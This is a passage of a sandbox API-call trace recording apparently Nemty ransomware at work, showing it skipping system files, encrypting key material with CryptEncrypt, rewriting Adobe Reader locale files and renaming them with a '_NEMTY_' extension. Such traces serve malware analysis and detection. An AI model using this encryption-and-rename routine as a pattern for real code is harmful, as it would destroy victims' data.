out: hHeap=0x4f90000) returned 1 [0177.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.079] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.FRA", cAlternateFileName="")) returned 1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2=".") returned 1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="..") returned 1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="...") returned 1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="windows") returned -1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="rsa") returned -1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="NTDETECT.COM") returned -1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="ntldr") returned -1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="MSDOS.SYS") returned -1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="IO.SYS") returned -1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="boot.ini") returned 1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="boot.ini") returned 1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="ntuser.dat") returned -1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="desktop.ini") returned 1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="CONFIG.SYS") returned 1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="RECYCLER") returned -1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="bootmgr") returned 1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="programdata") returned -1 [0177.079] lstrcmpiW (lpString1="eBook.FRA", lpString2="appdata") returned 1 [0177.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.FRA", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.FRA", lpUsedDefaultChar=0x0) returned 9 [0177.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.FRA", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.FRA", lpUsedDefaultChar=0x0) returned 9 [0177.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.FRA", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.FRA", lpUsedDefaultChar=0x0) returned 9 [0177.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.FRA", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.FRA", lpUsedDefaultChar=0x0) returned 9 [0177.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.080] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.080] Sleep (dwMilliseconds=0x5) [0177.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d333db0, dwHighDateTime=0x1d561e8)) [0177.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d333db0, dwHighDateTime=0x1d561e8)) [0177.089] GetLastError () returned 0x0 [0177.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.089] GetLastError () returned 0x0 [0177.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.089] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.089] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.089] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.089] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="GdteAA2BFGCPlyw47ZgXitVwKsZzsEnT2Ks6XKDT9CnQlVOAo7uGzNbJUicTMtp9\r\nlmNVrr9Ss8rXhZDJaI5xm714psTP7B3Y26E78YKakqmbTA6vIepvd3Ee8qenuIDl\r\nfeBSPaQBoH5rwLZwNsrqpN/NcdMjbcjIshvjB5WaIhSStknIrasF+p5EMJUdbuhN\r\nxrLZO7Xs9lDsYZHSkC9e6yBLEYrD8g02P99WDA9WkOXOpRUnL2drbJJY5q2VFpPm\r\nD3XUteZF6UPK2mZxHKx6f5fLJrDLjTQvJ07oya6aG54oMAvy5MncGHOHwzvOArz/\r\nQu9bCUxq/mNna5N6VxbvUw==\r\n", pcchString=0x653e5dc) returned 1 [0177.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\eBook.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ebook.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.090] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=7168) returned 1 [0177.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c00) returned 0x6352c48 [0177.090] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.090] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1c00, lpOverlapped=0x0) returned 1 [0177.092] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.092] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1c00, lpOverlapped=0x0) returned 1 [0177.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.092] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=7168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c00 [0177.092] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.092] CloseHandle (hObject=0x2e8) returned 1 [0177.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0177.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0177.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0177.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.093] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\eBook.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ebook.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\eBook.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ebook.fra._nemty_kgobjgd_")) returned 1 [0177.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0177.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.093] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.fra", cAlternateFileName="")) returned 1 [0177.093] lstrcmpiW (lpString1="EScript.fra", lpString2=".") returned 1 [0177.093] lstrcmpiW (lpString1="EScript.fra", lpString2="..") returned 1 [0177.093] lstrcmpiW (lpString1="EScript.fra", lpString2="...") returned 1 [0177.093] lstrcmpiW (lpString1="EScript.fra", lpString2="windows") returned -1 [0177.093] lstrcmpiW (lpString1="EScript.fra", lpString2="$RECYCLE.BIN") returned 1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="rsa") returned -1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="NTDETECT.COM") returned -1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="ntldr") returned -1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="MSDOS.SYS") returned -1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="IO.SYS") returned -1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="boot.ini") returned 1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="boot.ini") returned 1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="AUTOEXEC.BAT") returned 1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="ntuser.dat") returned -1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="desktop.ini") returned 1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="CONFIG.SYS") returned 1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="RECYCLER") returned -1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="BOOTSECT.BAK") returned 1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="bootmgr") returned 1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="programdata") returned -1 [0177.094] lstrcmpiW (lpString1="EScript.fra", lpString2="appdata") returned 1 [0177.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.fra", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.fra", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.fra", lpUsedDefaultChar=0x0) returned 11 [0177.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.fra", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.fra", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.fra", lpUsedDefaultChar=0x0) returned 11 [0177.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.fra", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.fra", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.fra", lpUsedDefaultChar=0x0) returned 11 [0177.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.fra", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.fra", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.fra", lpUsedDefaultChar=0x0) returned 11 [0177.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.095] Sleep (dwMilliseconds=0x5) [0177.105] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d359f10, dwHighDateTime=0x1d561e8)) [0177.105] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d359f10, dwHighDateTime=0x1d561e8)) [0177.105] GetLastError () returned 0x0 [0177.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.105] GetLastError () returned 0x0 [0177.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.105] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.105] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.105] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.105] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="RyCaEATU/6/If/AgR5260+EOSLWh6kDgTmS0SotqKeJ4AN4l1UEW6yZs1QTcoswJ\r\nDVkdVtTxmrkfABFzxrrUemPtu2P11y4Alg3STBmUbnVQ4sz/Ay5XTyhRpKSaTAzw\r\nc9EL79cLhKRsB0KO6Z2wi4qJrljcEqRegfl28kiqT54JlpwSh4BhvGxcco/1dIEr\r\n/HyGsvVAMqsFz0VZh8KhG5g57Xd4ISHq1FXOOG7s5nZtTKfpGcLAjVTvbFMuYquy\r\nJVSoxLsrOylyDq9dlvstnTYtfubiZTZoG/4z3RZHxdFs7k1FHClEcMLg9Tmkn7ni\r\nESbRs/JP86Ia2dDHEAqFlA==\r\n", pcchString=0x653e5dc) returned 1 [0177.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\EScript.fra" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\escript.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.106] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=43008) returned 1 [0177.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa800) returned 0x6352c48 [0177.106] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.106] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa800, lpOverlapped=0x0) returned 1 [0177.110] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.110] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa800, lpOverlapped=0x0) returned 1 [0177.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.110] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=43008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa800 [0177.110] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.110] CloseHandle (hObject=0x2e8) returned 1 [0177.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 